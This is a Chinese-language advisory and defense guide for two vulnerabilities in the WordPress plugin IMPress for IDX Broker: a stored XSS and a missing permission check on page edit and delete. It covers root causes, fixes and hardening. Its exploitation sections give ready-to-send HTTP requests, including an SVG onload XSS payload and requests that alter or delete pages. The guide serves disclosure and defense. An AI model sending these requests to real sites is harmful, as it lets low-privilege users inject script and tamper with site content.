Wordpress IMPress for IDX Broker 多个漏洞分析
字数 1339 2025-08-25 22:58:55
WordPress IMPress for IDX Broker 插件漏洞分析与防御指南
1. 漏洞概述
IMPress for IDX Broker 是一款用于在WordPress网站上展示MLS数据的插件。该插件存在两个严重漏洞:
- 存储型XSS漏洞 (CVE-2020-11512):允许订阅者权限用户注入恶意脚本
- 越权修改/删除包装页面漏洞 (CVE-2020-9514):允许低权限用户修改或删除任意包装页面
受影响版本:<= 2.6.1
2. 漏洞详细分析
2.1 存储型XSS漏洞 (CVE-2020-11512)
漏洞位置
plugins/idx-broker-platinum/idx/initiate-plugin.php 文件中的 idx_update_recaptcha_key 函数
漏洞成因
- 函数接收未过滤的POST参数
idx_recaptcha_site_key - 直接通过
update_option函数更新数据库 - WordPress的
update_option函数只对option参数名进行HTML过滤,未对value值进行过滤 - 调用该函数的AJAX端点 (
wp_ajax_idx_update_recaptcha_key) 仅使用is_user_logged_in检查用户登录状态,未验证用户权限
漏洞利用
订阅者权限用户可发送以下恶意请求:
POST /wordpress/wp-admin/admin-ajax.php HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Cookie: [用户认证cookie]
Content-Length: 0
action=idx_update_recaptcha_key&idx_recaptcha_site_key=a22212322123"><svg onload=alert(/~xss~/)>'
当管理员查看插件设置时,恶意脚本将被执行。
2.2 越权修改/删除包装页面漏洞 (CVE-2020-9514)
漏洞位置
plugins/idx-broker-platinum/idx/wrappers.php 文件中的两个函数:
idx_ajax_create_dynamic_pageidx_ajax_delete_dynamic_page
漏洞成因
- 两个函数都挂载在
wp_ajax_*钩子上 - 仅检查用户是否登录 (
is_user_logged_in),未验证用户权限 - 直接接受用户提供的
wrapper_page_id参数进行操作
漏洞利用
修改包装页面:
- 获取目标包装页面的ID
- 发送修改请求:
POST /wordpress/wp-admin/admin-ajax.php HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Cookie: [用户认证cookie]
Content-Length: 0
action=idx_ajax_create_dynamic_page&post_title=恶意标题&wrapper_page_id=目标ID
删除包装页面:
POST /wordpress/wp-admin/admin-ajax.php HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Cookie: [用户认证cookie]
Content-Length: 0
action=idx_ajax_delete_dynamic_page&wrapper_page_id=目标ID
3. 漏洞防御措施
3.1 官方修复方案
新版本中实施了以下安全措施:
- 使用
current_user_can函数验证用户权限 - 添加nonce机制防御CSRF攻击
3.2 管理员防护建议
- 立即更新插件至最新版本
- 定期审核用户权限,确保最小权限原则
- 监控可疑的AJAX请求
- 考虑使用Web应用防火墙(WAF)拦截恶意请求
4. 漏洞验证与测试
测试环境准备
- WordPress 5.x 环境
- IMPress for IDX Broker 插件 <= 2.6.1
- 创建测试用户(订阅者权限)
测试步骤
- 使用订阅者账号登录
- 尝试发送上述漏洞利用请求
- 验证XSS是否成功注入
- 验证包装页面是否可被修改/删除
5. 总结
这两个漏洞的组合允许低权限用户完全控制插件的关键功能,可能导致:
- 网站被植入恶意脚本
- 重要数据被篡改或删除
- 权限提升攻击
建议所有使用该插件的网站管理员立即采取行动,更新插件并检查系统安全性。